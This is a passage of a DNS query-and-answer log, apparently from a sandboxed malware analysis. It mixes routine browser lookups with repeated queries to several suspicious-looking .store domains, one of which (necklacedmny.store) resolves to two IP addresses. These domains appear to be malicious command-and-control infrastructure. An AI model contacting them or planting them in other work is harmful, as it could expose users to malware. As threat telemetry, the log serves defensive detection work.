Nov 1, 2024 00:39:40.151727915 CET	192.168.2.6	1.1.1.1	0xad15	Standard query (0)	www.reddit.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:40.151840925 CET	192.168.2.6	1.1.1.1	0xd26c	Standard query (0)	twitter.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:40.159295082 CET	192.168.2.6	1.1.1.1	0x8eec	Standard query (0)	twitter.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:40.159465075 CET	192.168.2.6	1.1.1.1	0x6769	Standard query (0)	reddit.map.fastly.net	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:40.166492939 CET	192.168.2.6	1.1.1.1	0x9b42	Standard query (0)	reddit.map.fastly.net	28	IN (0x0001)	false
Nov 1, 2024 00:39:40.166935921 CET	192.168.2.6	1.1.1.1	0xc0a7	Standard query (0)	twitter.com	28	IN (0x0001)	false
Nov 1, 2024 00:39:42.630095005 CET	192.168.2.6	1.1.1.1	0xcce5	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 1, 2024 00:39:42.655741930 CET	192.168.2.6	1.1.1.1	0xcce5	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 1, 2024 00:39:54.175309896 CET	192.168.2.6	1.1.1.1	0x9299	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 1, 2024 00:39:54.793437004 CET	192.168.2.6	1.1.1.1	0x6fb3	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:59.797005892 CET	192.168.2.6	1.1.1.1	0x9dcc	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 1, 2024 00:40:00.072678089 CET	192.168.2.6	1.1.1.1	0x9738	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Nov 1, 2024 00:40:00.130554914 CET	192.168.2.6	1.1.1.1	0x38b3	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 1, 2024 00:40:00.143604040 CET	192.168.2.6	1.1.1.1	0x6af2	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 1, 2024 00:40:00.169395924 CET	192.168.2.6	1.1.1.1	0x6af2	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 1, 2024 00:40:00.243639946 CET	192.168.2.6	1.1.1.1	0xcb73	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:40:00.298552990 CET	192.168.2.6	1.1.1.1	0x15c2	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 1, 2024 00:40:00.304415941 CET	192.168.2.6	1.1.1.1	0xcb73	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:40:00.334264040 CET	192.168.2.6	1.1.1.1	0x4218	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 1, 2024 00:40:00.334547997 CET	192.168.2.6	1.1.1.1	0xe374	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Nov 1, 2024 00:40:03.816207886 CET	192.168.2.6	1.1.1.1	0xf5c6	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 1, 2024 00:40:03.995997906 CET	192.168.2.6	1.1.1.1	0x3fc5	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:40:03.996624947 CET	192.168.2.6	1.1.1.1	0x84be	Standard query (0)	www.reddit.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:40:03.997011900 CET	192.168.2.6	1.1.1.1	0xce2c	Standard query (0)	twitter.com	28	IN (0x0001)	false
Nov 1, 2024 00:40:04.003328085 CET	192.168.2.6	1.1.1.1	0x7544	Standard query (0)	star-mini.c10r.facebook.com	28	IN (0x0001)	false
Nov 1, 2024 00:40:04.004082918 CET	192.168.2.6	1.1.1.1	0x5311	Standard query (0)	reddit.map.fastly.net	28	IN (0x0001)	false
Nov 1, 2024 00:40:06.191684008 CET	192.168.2.6	1.1.1.1	0x3123	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 1, 2024 00:40:16.845184088 CET	192.168.2.6	1.1.1.1	0xcc87	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 1, 2024 00:40:29.359602928 CET	192.168.2.6	1.1.1.1	0x9eb6	Standard query (0)	services.addons.mozilla.org	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:40:29.364590883 CET	192.168.2.6	1.1.1.1	0xbcc	Standard query (0)	normandy.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:40:29.368201971 CET	192.168.2.6	1.1.1.1	0xdccc	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 1, 2024 00:40:29.372502089 CET	192.168.2.6	1.1.1.1	0xca84	Standard query (0)	services.addons.mozilla.org	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:40:29.378861904 CET	192.168.2.6	1.1.1.1	0x5eac	Standard query (0)	normandy-cdn.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:40:29.383147955 CET	192.168.2.6	1.1.1.1	0x4d6b	Standard query (0)	services.addons.mozilla.org	28	IN (0x0001)	false
Nov 1, 2024 00:40:29.389085054 CET	192.168.2.6	1.1.1.1	0x2f53	Standard query (0)	normandy-cdn.services.mozilla.com	28	IN (0x0001)	false
Nov 1, 2024 00:40:29.999752998 CET	192.168.2.6	1.1.1.1	0x3cab	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:40:30.030754089 CET	192.168.2.6	1.1.1.1	0x3cab	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:40:39.386538982 CET	192.168.2.6	1.1.1.1	0x7af1	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:40:39.395369053 CET	192.168.2.6	1.1.1.1	0xfce1	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 1, 2024 00:38:02.075997114 CET	1.1.1.1	192.168.2.6	0x5d40	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:38:02.092664003 CET	1.1.1.1	192.168.2.6	0xabf7	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:38:02.129379034 CET	1.1.1.1	192.168.2.6	0x6678	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:38:02.139929056 CET	1.1.1.1	192.168.2.6	0x9a0c	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:38:02.156852961 CET	1.1.1.1	192.168.2.6	0x601	No error (0)	necklacedmny.store		188.114.96.3	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:38:02.156852961 CET	1.1.1.1	192.168.2.6	0x601	No error (0)	necklacedmny.store		188.114.97.3	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:38:51.240397930 CET	1.1.1.1	192.168.2.6	0xfd58	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:38:51.254544973 CET	1.1.1.1	192.168.2.6	0xcaa7	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:38:51.267575026 CET	1.1.1.1	192.168.2.6	0xc918	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:38:51.280574083 CET	1.1.1.1	192.168.2.6	0xbf80	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:06.225986958 CET	1.1.1.1	192.168.2.6	0xb629	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:06.244518995 CET	1.1.1.1	192.168.2.6	0xf111	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:06.258137941 CET	1.1.1.1	192.168.2.6	0x978c	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:06.269576073 CET	1.1.1.1	192.168.2.6	0xa539	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:19.819765091 CET	1.1.1.1	192.168.2.6	0xfe22	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:19.847249031 CET	1.1.1.1	192.168.2.6	0x4a7d	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:21.553047895 CET	1.1.1.1	192.168.2.6	0xf16e	No error (0)	youtube.com		142.250.185.206	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:21.562724113 CET	1.1.1.1	192.168.2.6	0xd154	No error (0)	youtube.com		142.250.185.174	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:21.573133945 CET	1.1.1.1	192.168.2.6	0x4802	No error (0)	youtube.com			28	IN (0x0001)	false
Nov 1, 2024 00:39:33.360369921 CET	1.1.1.1	192.168.2.6	0x949b	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 1, 2024 00:39:33.360369921 CET	1.1.1.1	192.168.2.6	0x949b	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:33.367855072 CET	1.1.1.1	192.168.2.6	0xf56b	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:33.375128984 CET	1.1.1.1	192.168.2.6	0xce8f	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net			28	IN (0x0001)	false
Nov 1, 2024 00:39:34.962714911 CET	1.1.1.1	192.168.2.6	0x4405	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:34.963068962 CET	1.1.1.1	192.168.2.6	0xd4f8	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 1, 2024 00:39:34.963068962 CET	1.1.1.1	192.168.2.6	0xd4f8	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:34.975354910 CET	1.1.1.1	192.168.2.6	0xa0c8	No error (0)	example.org		93.184.215.14	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:34.976958990 CET	1.1.1.1	192.168.2.6	0x84ec	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:34.984097004 CET	1.1.1.1	192.168.2.6	0xb432	No error (0)	ipv4only.arpa		192.0.0.170	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:34.984097004 CET	1.1.1.1	192.168.2.6	0xb432	No error (0)	ipv4only.arpa		192.0.0.171	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:34.987868071 CET	1.1.1.1	192.168.2.6	0x63d6	No error (0)	spocs.getpocket.com	prod.ads.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 1, 2024 00:39:34.987868071 CET	1.1.1.1	192.168.2.6	0x63d6	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:34.988821030 CET	1.1.1.1	192.168.2.6	0xf38b	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:35.002873898 CET	1.1.1.1	192.168.2.6	0xbe55	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:35.025731087 CET	1.1.1.1	192.168.2.6	0x36ae	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 1, 2024 00:39:35.025731087 CET	1.1.1.1	192.168.2.6	0x36ae	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:35.395772934 CET	1.1.1.1	192.168.2.6	0x341d	No error (0)	content-signature-2.cdn.mozilla.net	content-signature-chains.prod.autograph.services.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 1, 2024 00:39:35.395772934 CET	1.1.1.1	192.168.2.6	0x341d	No error (0)	content-signature-chains.prod.autograph.services.mozaws.net	prod.content-signature-chains.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 1, 2024 00:39:35.395772934 CET	1.1.1.1	192.168.2.6	0x341d	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:35.405560970 CET	1.1.1.1	192.168.2.6	0xb107	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:35.414555073 CET	1.1.1.1	192.168.2.6	0x4e19	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net			28	IN (0x0001)	false
Nov 1, 2024 00:39:36.346812963 CET	1.1.1.1	192.168.2.6	0x4c23	No error (0)	shavar.services.mozilla.com	shavar.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 1, 2024 00:39:36.727948904 CET	1.1.1.1	192.168.2.6	0x5d8f	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 1, 2024 00:39:36.727948904 CET	1.1.1.1	192.168.2.6	0x5d8f	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:36.832505941 CET	1.1.1.1	192.168.2.6	0xc735	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:36.863004923 CET	1.1.1.1	192.168.2.6	0x6052	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:36.879340887 CET	1.1.1.1	192.168.2.6	0x98a3	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:36.901978016 CET	1.1.1.1	192.168.2.6	0xb065	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:36.996896982 CET	1.1.1.1	192.168.2.6	0x224f	No error (0)	firefox.settings.services.mozilla.com	prod.remote-settings.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 1, 2024 00:39:36.996896982 CET	1.1.1.1	192.168.2.6	0x224f	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:37.018001080 CET	1.1.1.1	192.168.2.6	0x5fac	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:37.491175890 CET	1.1.1.1	192.168.2.6	0xee9	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:38.051472902 CET	1.1.1.1	192.168.2.6	0x8e21	No error (0)	support.mozilla.org	prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 1, 2024 00:39:38.051472902 CET	1.1.1.1	192.168.2.6	0x8e21	No error (0)	prod.sumo.prod.webservices.mozgcp.net	us-west1.prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 1, 2024 00:39:38.051472902 CET	1.1.1.1	192.168.2.6	0x8e21	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:38.067058086 CET	1.1.1.1	192.168.2.6	0x400b	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:38.269776106 CET	1.1.1.1	192.168.2.6	0x8fb2	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:38.280699968 CET	1.1.1.1	192.168.2.6	0x4139	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:38.298392057 CET	1.1.1.1	192.168.2.6	0x8353	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:38.363965034 CET	1.1.1.1	192.168.2.6	0xcbb6	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:40.133311033 CET	1.1.1.1	192.168.2.6	0x79f5	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 1, 2024 00:39:40.133311033 CET	1.1.1.1	192.168.2.6	0x79f5	No error (0)	youtube-ui.l.google.com		142.250.185.174	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:40.133311033 CET	1.1.1.1	192.168.2.6	0x79f5	No error (0)	youtube-ui.l.google.com		142.250.185.142	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:40.133311033 CET	1.1.1.1	192.168.2.6	0x79f5	No error (0)	youtube-ui.l.google.com		142.250.186.46	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:40.133311033 CET	1.1.1.1	192.168.2.6	0x79f5	No error (0)	youtube-ui.l.google.com		216.58.206.46	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:40.133311033 CET	1.1.1.1	192.168.2.6	0x79f5	No error (0)	youtube-ui.l.google.com		172.217.16.206	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:40.133311033 CET	1.1.1.1	192.168.2.6	0x79f5	No error (0)	youtube-ui.l.google.com		142.250.184.238	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:40.133311033 CET	1.1.1.1	192.168.2.6	0x79f5	No error (0)	youtube-ui.l.google.com		142.250.181.238	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:40.133311033 CET	1.1.1.1	192.168.2.6	0x79f5	No error (0)	youtube-ui.l.google.com		142.250.186.78	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:40.133311033 CET	1.1.1.1	192.168.2.6	0x79f5	No error (0)	youtube-ui.l.google.com		142.250.185.238	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:40.133311033 CET	1.1.1.1	192.168.2.6	0x79f5	No error (0)	youtube-ui.l.google.com		216.58.212.142	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:40.133311033 CET	1.1.1.1	192.168.2.6	0x79f5	No error (0)	youtube-ui.l.google.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:40.133311033 CET	1.1.1.1	192.168.2.6	0x79f5	No error (0)	youtube-ui.l.google.com		142.250.185.206	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:40.133311033 CET	1.1.1.1	192.168.2.6	0x79f5	No error (0)	youtube-ui.l.google.com		142.250.186.110	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:40.133311033 CET	1.1.1.1	192.168.2.6	0x79f5	No error (0)	youtube-ui.l.google.com		142.250.186.174	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:40.133311033 CET	1.1.1.1	192.168.2.6	0x79f5	No error (0)	youtube-ui.l.google.com		142.250.186.142	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:40.133311033 CET	1.1.1.1	192.168.2.6	0x79f5	No error (0)	youtube-ui.l.google.com		172.217.18.14	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:40.133419991 CET	1.1.1.1	192.168.2.6	0xf1f	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 1, 2024 00:39:40.133419991 CET	1.1.1.1	192.168.2.6	0xf1f	No error (0)	star-mini.c10r.facebook.com		157.240.253.35	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:40.133701086 CET	1.1.1.1	192.168.2.6	0x1cac	No error (0)	www.wikipedia.org	dyna.wikimedia.org		CNAME (Canonical name)	IN (0x0001)	false
Nov 1, 2024 00:39:40.133701086 CET	1.1.1.1	192.168.2.6	0x1cac	No error (0)	dyna.wikimedia.org		185.15.59.224	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:40.142394066 CET	1.1.1.1	192.168.2.6	0x47c1	No error (0)	youtube-ui.l.google.com		142.250.186.46	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:40.142394066 CET	1.1.1.1	192.168.2.6	0x47c1	No error (0)	youtube-ui.l.google.com		142.250.185.174	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:40.142394066 CET	1.1.1.1	192.168.2.6	0x47c1	No error (0)	youtube-ui.l.google.com		142.250.74.206	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:40.142394066 CET	1.1.1.1	192.168.2.6	0x47c1	No error (0)	youtube-ui.l.google.com		142.250.185.206	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:40.142394066 CET	1.1.1.1	192.168.2.6	0x47c1	No error (0)	youtube-ui.l.google.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:40.142394066 CET	1.1.1.1	192.168.2.6	0x47c1	No error (0)	youtube-ui.l.google.com		142.250.185.142	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:40.142394066 CET	1.1.1.1	192.168.2.6	0x47c1	No error (0)	youtube-ui.l.google.com		172.217.23.110	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:40.142394066 CET	1.1.1.1	192.168.2.6	0x47c1	No error (0)	youtube-ui.l.google.com		142.250.186.174	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:40.142394066 CET	1.1.1.1	192.168.2.6	0x47c1	No error (0)	youtube-ui.l.google.com		172.217.18.110	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:40.142394066 CET	1.1.1.1	192.168.2.6	0x47c1	No error (0)	youtube-ui.l.google.com		172.217.18.14	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:40.142394066 CET	1.1.1.1	192.168.2.6	0x47c1	No error (0)	youtube-ui.l.google.com		142.250.181.238	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:40.142394066 CET	1.1.1.1	192.168.2.6	0x47c1	No error (0)	youtube-ui.l.google.com		142.250.186.78	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:40.142394066 CET	1.1.1.1	192.168.2.6	0x47c1	No error (0)	youtube-ui.l.google.com		142.250.186.142	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:40.142394066 CET	1.1.1.1	192.168.2.6	0x47c1	No error (0)	youtube-ui.l.google.com		142.250.185.238	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:40.142394066 CET	1.1.1.1	192.168.2.6	0x47c1	No error (0)	youtube-ui.l.google.com		216.58.206.78	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:40.142394066 CET	1.1.1.1	192.168.2.6	0x47c1	No error (0)	youtube-ui.l.google.com		142.250.185.78	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:40.142414093 CET	1.1.1.1	192.168.2.6	0x681e	No error (0)	star-mini.c10r.facebook.com		157.240.0.35	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:40.142429113 CET	1.1.1.1	192.168.2.6	0x58cf	No error (0)	dyna.wikimedia.org		185.15.59.224	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:40.150979042 CET	1.1.1.1	192.168.2.6	0x6bf0	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Nov 1, 2024 00:39:40.150979042 CET	1.1.1.1	192.168.2.6	0x6bf0	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Nov 1, 2024 00:39:40.150979042 CET	1.1.1.1	192.168.2.6	0x6bf0	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Nov 1, 2024 00:39:40.150979042 CET	1.1.1.1	192.168.2.6	0x6bf0	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Nov 1, 2024 00:39:40.151106119 CET	1.1.1.1	192.168.2.6	0x5eec	No error (0)	star-mini.c10r.facebook.com			28	IN (0x0001)	false
Nov 1, 2024 00:39:40.151643038 CET	1.1.1.1	192.168.2.6	0x48ae	No error (0)	dyna.wikimedia.org			28	IN (0x0001)	false
Nov 1, 2024 00:39:40.158688068 CET	1.1.1.1	192.168.2.6	0xad15	No error (0)	www.reddit.com	reddit.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 1, 2024 00:39:40.158688068 CET	1.1.1.1	192.168.2.6	0xad15	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:40.158688068 CET	1.1.1.1	192.168.2.6	0xad15	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:40.158688068 CET	1.1.1.1	192.168.2.6	0xad15	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:40.158688068 CET	1.1.1.1	192.168.2.6	0xad15	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:40.158703089 CET	1.1.1.1	192.168.2.6	0xd26c	No error (0)	twitter.com		104.244.42.65	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:40.166037083 CET	1.1.1.1	192.168.2.6	0x6769	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:40.166037083 CET	1.1.1.1	192.168.2.6	0x6769	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:40.166037083 CET	1.1.1.1	192.168.2.6	0x6769	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:40.166037083 CET	1.1.1.1	192.168.2.6	0x6769	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:40.166304111 CET	1.1.1.1	192.168.2.6	0x8eec	No error (0)	twitter.com		104.244.42.193	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:39:54.800225973 CET	1.1.1.1	192.168.2.6	0x6fb3	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:40:00.250360012 CET	1.1.1.1	192.168.2.6	0xcb73	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:40:00.305579901 CET	1.1.1.1	192.168.2.6	0xeef1	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:40:00.311152935 CET	1.1.1.1	192.168.2.6	0xcb73	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:40:04.002657890 CET	1.1.1.1	192.168.2.6	0x3fc5	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 1, 2024 00:40:04.002657890 CET	1.1.1.1	192.168.2.6	0x3fc5	No error (0)	star-mini.c10r.facebook.com		157.240.251.35	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:40:04.003381014 CET	1.1.1.1	192.168.2.6	0x84be	No error (0)	www.reddit.com	reddit.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 1, 2024 00:40:04.003381014 CET	1.1.1.1	192.168.2.6	0x84be	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:40:04.003381014 CET	1.1.1.1	192.168.2.6	0x84be	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:40:04.003381014 CET	1.1.1.1	192.168.2.6	0x84be	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:40:04.003381014 CET	1.1.1.1	192.168.2.6	0x84be	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Nov 1, 2024 00:40:04.009788990 CET	1.1.1.1	192.168.2.6	0x7544	No error (0)	star-mini.c10r.facebook.com			28	IN (0x0001)	false
